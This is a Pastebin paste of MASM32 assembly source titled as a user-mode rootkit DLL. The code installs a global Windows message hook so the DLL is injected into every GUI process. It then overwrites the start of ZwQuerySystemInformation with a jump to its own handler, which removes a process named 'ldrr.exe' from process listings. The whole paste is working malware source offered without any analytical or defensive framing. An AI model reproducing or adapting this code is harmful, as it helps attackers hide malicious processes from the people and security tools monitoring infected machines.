DniproPirate

[MASM32] Ring3 rootkit - hookdll.asm

Nov 12th, 2011
836
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .386p
  2. .model flat, stdcall
  3. option casemap:none
  4. ;===================================
  5. include \masm32\include\windows.inc
  6. include \masm32\m32lib\masm32.inc
  7. ;===================================
  8. includelib \masm32\lib\masm32.lib
  9. includelib \masm32\lib\kernel32.lib
  10. includelib \masm32\lib\user32.lib
  11. includelib \masm32\lib\ntdll.lib
  12. includelib \masm32\lib\advapi32.lib
  13. ;===================================
  14.  
  15. externdef _imp__ExitProcess@4:PTR pr1
  16. ExitProcess equ <_imp__ExitProcess@4>
  17.  
  18. externdef _imp__SetLastError@4:PTR pr1
  19. SetLastError equ <_imp__SetLastError@4>
  20.  
  21. externdef _imp__lstrcmpiW@8:PTR pr2
  22. lstrcmpiW equ <_imp__lstrcmpiW@8>
  23.  
  24. externdef _imp__WriteProcessMemory@20:PTR pr5
  25. WriteProcessMemory equ <_imp__WriteProcessMemory@20>
  26.  
  27. externdef _imp__ReadProcessMemory@20:PTR pr5
  28. ReadProcessMemory equ <_imp__ReadProcessMemory@20>
  29.  
  30. externdef _imp__ZwQuerySystemInformation@16:PTR pr4
  31. ZwQuerySystemInformation equ <_imp__ZwQuerySystemInformation@16>
  32.  
  33. externdef _imp__SetWindowsHookExA@16:PTR pr4
  34. SetWindowsHookEx equ <_imp__SetWindowsHookExA@16>
  35.  
  36. externdef _imp__UnhookWindowsHookEx@4:PTR pr1
  37. UnhookWindowsHookEx equ <_imp__UnhookWindowsHookEx@4>
  38.  
  39. externdef _imp__RegEnumValueW@32:PTR pr8
  40. RegEnumValueW equ <_imp__RegEnumValueW@32>
  41.  
  42. externdef _imp__MessageBoxW@16:PTR pr4
  43. MessageBox equ <_imp__MessageBoxW@16>
  44.  
  45. include DeepKernel.ash
  46.  
  47. far_jmp struct
  48. PushOp DB 068h
  49. PushArg DD ?
  50. RetOp DB 0c3h
  51. far_jmp ends
  52.  
  53. .data?
  54. hDLL DD ?
  55. hHookMsg DD ?
  56.  
  57. .data
  58. pZQSI DD ?
  59. OldCode DB 06h dup(?)
  60. FAR_JUMP far_jmp <?>
  61. wszLoaderName DB "l",0,"d",0,"r",0,"r",0,".",0,"e",0,"x",0,"e",0,0,0
  62. .code
  63.  
  64. HideProcess proc ProcName:DWord, Tasks:DWord
  65. mov esi, DWord ptr [Tasks]
  66. @@Up:
  67. invoke lstrcmpiW, [esi+SYSTEM_PROCESSES.ProcessName.Buffer], [ProcName]
  68. cmp eax, 0h
  69. jz short @@Found
  70. mov ecx, DWord Ptr [esi]
  71. cmp ecx, 0h
  72. jz short @@End
  73. mov edi, esi
  74. add esi, ecx
  75. jmp short @@Up
  76. @@Found:
  77. mov edx, DWord Ptr [esi]
  78. add DWord Ptr [edi], edx
  79. @@End:
  80. ret
  81. HideProcess endp
  82.  
  83. NewZQSI proc P1:DWord, P2:DWord, P3:DWord, P4:DWord
  84. LOCAL Bytes:DWord
  85. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, [ZwQuerySystemInformation], offset OldCode, SizeOf OldCode, addr Bytes
  86. invoke ZwQuerySystemInformation, [P1], [P2], [P3], [P4]
  87. pusha
  88. invoke WriteProcessMemory, INVALID_HANDLE_VALUE, [ZwQuerySystemInformation], offset FAR_JUMP, SizeOf OldCode, addr Bytes
  89. cmp DWord Ptr [P1], 05h
  90. jnz @@End
  91. cmp eax, 03fffffffh
  92. ja @@End
  93. invoke HideProcess, offset wszLoaderName, [P2]
  94. @@End:
  95. popa
  96. ret
  97. NewZQSI endp
  98.  
  99. HookProc proc Code: DWord, wParam: DWord, lParam: DWord
  100. mov eax, 0h
  101. ret
  102. HookProc endp
  103.  
  104. SetHookZQSI proc
  105. LOCAL Bytes: DWord
  106. invoke ReadProcessMemory, INVALID_HANDLE_VALUE, [ZwQuerySystemInformation], addr OldCode, 06h, addr Bytes
  107. mov [FAR_JUMP.PushOp], 068h
  108. mov [FAR_JUMP.PushArg], offset NewZQSI
  109. mov [FAR_JUMP.RetOp], 0c3h
  110. invoke WriteProcessMemory,INVALID_HANDLE_VALUE, [ZwQuerySystemInformation], offset FAR_JUMP, sizeof far_jmp, addr Bytes
  111. ret
  112. SetHookZQSI endp
  113.  
  114. LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
  115. LOCAL hMutex: DWord
  116. LOCAL trId: DWord
  117. .if [reason] == DLL_PROCESS_ATTACH
  118. .if [hDLL] == NULL
  119. mov eax, [hInstDLL]
  120. mov [hDLL], eax
  121. mov eax, DWord Ptr [hInstDLL]
  122. mov DWord Ptr [hDLL], eax
  123. invoke SetWindowsHookEx, WH_GETMESSAGE, offset HookProc, [hDLL], NULL
  124. mov [hHookMsg], eax
  125. .endif
  126. invoke SetHookZQSI
  127. .elseif [reason] == DLL_PROCESS_DETACH
  128. invoke UnhookWindowsHookEx, [hHookMsg]
  129. .endif
  130. xor eax, eax
  131. inc eax
  132. ret
  133. LibMain Endp
  134.  
  135. end LibMain
  136.  
RAW Paste Data